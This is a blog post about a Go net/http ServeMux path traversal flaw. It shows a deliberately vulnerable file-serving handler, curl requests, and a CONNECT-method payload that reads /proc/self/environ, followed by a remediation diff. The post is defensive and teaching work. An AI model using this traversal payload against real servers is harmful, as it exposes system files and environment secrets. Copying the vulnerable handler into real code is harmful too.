As a passionate Go developer, I’ve come to appreciate the language’s simplicity
and power. However, even in a well-designed language like Go, security
vulnerabilities can lurk in unexpected places. In this post, we’ll explore a
common misconception about Go’s ServeMux
that can lead to a path traversal
vulnerability.
TL;DR: Many developers assume that
ServeMux
always sanitizes URL request paths, but this isn’t always the case.
The Issue
Consider the following code snippet, where we let the user read the files
content in /tmp
folder:
package main
import (
"io/ioutil"
"log"
"net/http"
"path/filepath"
"strings"
)
const root = "/tmp"
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
filename := filepath.Join(root, strings.Trim(r.URL.Path, "/"))
contents, err := ioutil.ReadFile(filename)
if err != nil {
w.WriteHeader(http.StatusNotFound)
return
}
w.Write(contents)
})
server := &http.Server{
Addr: "127.0.0.1:50000",
Handler: mux,
}
log.Fatal(server.ListenAndServe())
}
Here we are creating a file in /tmp
folder to test if we will be able to read
the file contents:
$ echo content > /tmp/somefile
$ curl -v 127.0.0.1:50000/somefile
* Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 50000 (#0)
> GET /somefile HTTP/1.1
> Host: 127.0.0.1:50000
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Wed, 18 Jul 2018 18:08:46 GMT
< Content-Length: 8
< Content-Type: text/plain; charset=utf-8
<
content
* Connection #0 to host 127.0.0.1 left intact
We’ve successfully read the file.
Since we call ioutil.ReadFile
function for a user-supplied input
r.URL.Path
this might seem like a path traversal vulnerability.
Are we able to read any arbitrary file by
providing relative-path pattern? Let’s try to read ../../etc/hostname
for
example:
$ curl -v --path-as-is 127.0.0.1:50000/somefile/../../etc/hostname
* Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 50000 (#0)
> GET /something/../../../etc/hostname HTTP/1.1
> Host: 127.0.0.1:50000
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< Content-Type: text/html; charset=utf-8
< Location: /etc/hostname
< Date: Wed, 18 Jul 2018 18:07:35 GMT
< Content-Length: 48
<
<a href="/etc/hostname">Moved Permanently</a>.
* Connection #0 to host 127.0.0.1 left intact
It turns out that ServeMux
canonicalizes the requested path, so it’s not
easily exploitable, but indeed it’s still vulnerable.
Here’s how we can exploit it using the CONNECT
method:
$ curl -v -X CONNECT --path-as-is 127.0.0.1:50000/../../proc/self/environ
* Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 50000 (#0)
> CONNECT /../../proc/self/environ HTTP/1.1
> Host: 127.0.0.1:50000
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Wed, 18 Jul 2018 18:17:55 GMT
< Content-Type: application/octet-stream
< Transfer-Encoding: chunked
<
REDACTED
Bingo.
I should note that this is an expected behaviour and
clearly documented
in the net/http
package docs:
The path and host are used unchanged for CONNECT requests.
Remediation
Use filepath.FromSlash
accompanied by path.Clean
and a preceding forward slash:
$ diff --git a/main.go b/main.go
index d50e6f3..91e5015 100644
--- a/main.go
+++ b/main.go
@@ -4,6 +4,7 @@ import (
"io/ioutil"
"log"
"net/http"
+ "path"
"path/filepath"
"strings"
)
@@ -13,7 +14,7 @@ const root = "/tmp"
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
- filename := filepath.Join(root, strings.Trim(r.URL.Path, "/"))
+ filename := filepath.Join(root, filepath.FromSlash(path.Clean("/"+strings.Trim(r.URL.Path, "/"))))
contents, err := ioutil.ReadFile(filename)
if err != nil {
w.WriteHeader(http.StatusNotFound)
Also, it’s a good practice to limit acceptable request methods.
If you’re not able to fix the code - put a vulnerable service behind a reverse proxy like nginx, which does not allow CONNECT
method request by default.